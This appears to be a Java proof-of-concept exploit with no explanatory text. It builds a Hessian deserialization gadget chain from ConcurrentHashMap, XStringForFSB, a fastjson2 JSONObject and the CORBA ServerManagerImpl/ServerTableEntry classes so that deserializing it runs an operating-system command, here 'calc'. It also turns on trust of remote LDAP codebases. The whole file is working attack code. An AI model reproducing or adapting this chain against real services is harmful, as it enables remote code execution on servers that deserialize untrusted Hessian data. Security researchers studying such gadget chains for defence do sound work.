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| package com.n1ght;
import com.alibaba.fastjson2.JSONObject;
import com.caucho.hessian.io.Hessian2Input;
import com.caucho.hessian.io.Hessian2Output;
import com.caucho.hessian.io.SerializerFactory;
import com.sun.corba.se.impl.activation.ServerManagerImpl;
import com.sun.corba.se.impl.activation.ServerTableEntry;
import com.sun.org.apache.xpath.internal.objects.XStringForFSB;
import sun.reflect.ReflectionFactory;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.lang.reflect.*;
import java.util.HashMap;
import java.util.Random;
import java.util.concurrent.ConcurrentHashMap;
import static com.sun.org.apache.xalan.internal.xsltc.compiler.Constants.CHARACTERS;
public class Main {
public static void main(String[] args) throws Exception {
ServerManagerImpl serverManager = createWithObjectNoArgsConstructor(ServerManagerImpl.class);
HashMap<Integer, ServerTableEntry> hashMap =new HashMap<>();
ServerTableEntry serverTableEntry = createWithObjectNoArgsConstructor(ServerTableEntry.class);
hashMap.put(1,serverTableEntry);
setFieldValue(serverTableEntry, "state",2);
setFieldValue(serverTableEntry, "activateRetryCount",0);
setFieldValue(serverTableEntry, "debug", false);
setFieldValue(serverTableEntry, "activationCmd", "calc");
Object process = createWithObjectNoArgsConstructor(Class.forName("java.lang.ProcessImpl"));
setFieldValue(process, "handle", 6);
setFieldValue(serverTableEntry, "process", process);
setFieldValue(serverManager, "serverTable", hashMap);
JSONObject jsonObject = new JSONObject();
jsonObject.put("key", serverManager);
XStringForFSB xStringForFSB = createWithoutConstructor(XStringForFSB.class);
setFieldValue(xStringForFSB, "m_strCache", generateRandomString());
Object conEntry1 = createWithObjectNoArgsConstructor(Class.forName("java.util.concurrent.ConcurrentHashMap$MapEntry"));
Object conEntry2 = createWithObjectNoArgsConstructor(Class.forName("java.util.concurrent.ConcurrentHashMap$MapEntry"));
setFieldValue(conEntry1, "key", xStringForFSB);
setFieldValue(conEntry1, "val", jsonObject);
setFieldValue(conEntry2, "key", jsonObject);
setFieldValue(conEntry2, "val", xStringForFSB);
ConcurrentHashMap s = new ConcurrentHashMap();
setFieldValue(s, "sizeCtl", 2);
Class nodeC;
try {
nodeC = Class.forName("java.util.concurrent.ConcurrentHashMap$Node");
}
catch ( ClassNotFoundException e ) {
nodeC = Class.forName("java.util.concurrent.ConcurrentHashMap$Entry");
}
Constructor nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
setAccessible(nodeCons);
Object tbl = Array.newInstance(nodeC, 2);
Array.set(tbl, 0, nodeCons.newInstance(0, conEntry1, conEntry1, null));
Array.set(tbl, 1, nodeCons.newInstance(0, conEntry2, conEntry2, null));
setFieldValue(s, "table", tbl);
Field table = ConcurrentHashMap.class.getDeclaredField("table");
table.setAccessible(true);
table.set(s, tbl);
System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true");
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
Hessian2Output out = new Hessian2Output(byteArrayOutputStream);
SerializerFactory sf = new SerializerFactory();
sf.setAllowNonSerializable(true);
out.setSerializerFactory(sf);
out.writeObject(s);
out.flush();
ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(byteArrayOutputStream.toByteArray());
new Hessian2Input(byteArrayInputStream).readObject();
}
public static String generateRandomString() {
Random random = new Random();
int length = random.nextInt(20)+1;
StringBuilder sb = new StringBuilder(length);
for (int i = 0; i < length; i++) {
int index = random.nextInt(CHARACTERS.length());
char randomChar = CHARACTERS.charAt(index);
sb.append(randomChar);
}
return sb.toString();
}
public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
final Field field = getField(obj.getClass(), fieldName);
field.set(obj, value);
}
public static <T> T createWithoutConstructor ( Class<T> classToInstantiate )
throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {
return createWithConstructor(classToInstantiate, Object.class, new Class[0], new Object[0]);
}
public static <T> T createWithObjectNoArgsConstructor(Class<T> clzToInstantiate) {
T resObject = null;
try{
resObject = createWithConstructor(clzToInstantiate, Object.class, new Class[0], new Object[0]);
} catch (NoSuchMethodException | InstantiationException | IllegalAccessException | InvocationTargetException e) {
}
return resObject;
}
public static <T> T createWithConstructor ( Class<T> classToInstantiate, Class<? super T> constructorClass, Class<?>[] consArgTypes, Object[] consArgs )
throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {
Constructor<? super T> objCons = constructorClass.getDeclaredConstructor(consArgTypes);
setAccessible(objCons);
Constructor<?> sc = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(classToInstantiate, objCons);
setAccessible(sc);
return (T)sc.newInstance(consArgs);
}
public static Field getField(final Class<?> clazz, final String fieldName) {
Field field = null;
try {
field = clazz.getDeclaredField(fieldName);
setAccessible(field);
}
catch (NoSuchFieldException ex) {
if (clazz.getSuperclass() != null)
field = getField(clazz.getSuperclass(), fieldName);
}
return field;
}
public static void setAccessible(AccessibleObject member) {
String versionStr = System.getProperty("java.version");
int javaVersion = Integer.parseInt(versionStr.split("\\.")[0]);
member.setAccessible(true);
}
}
|
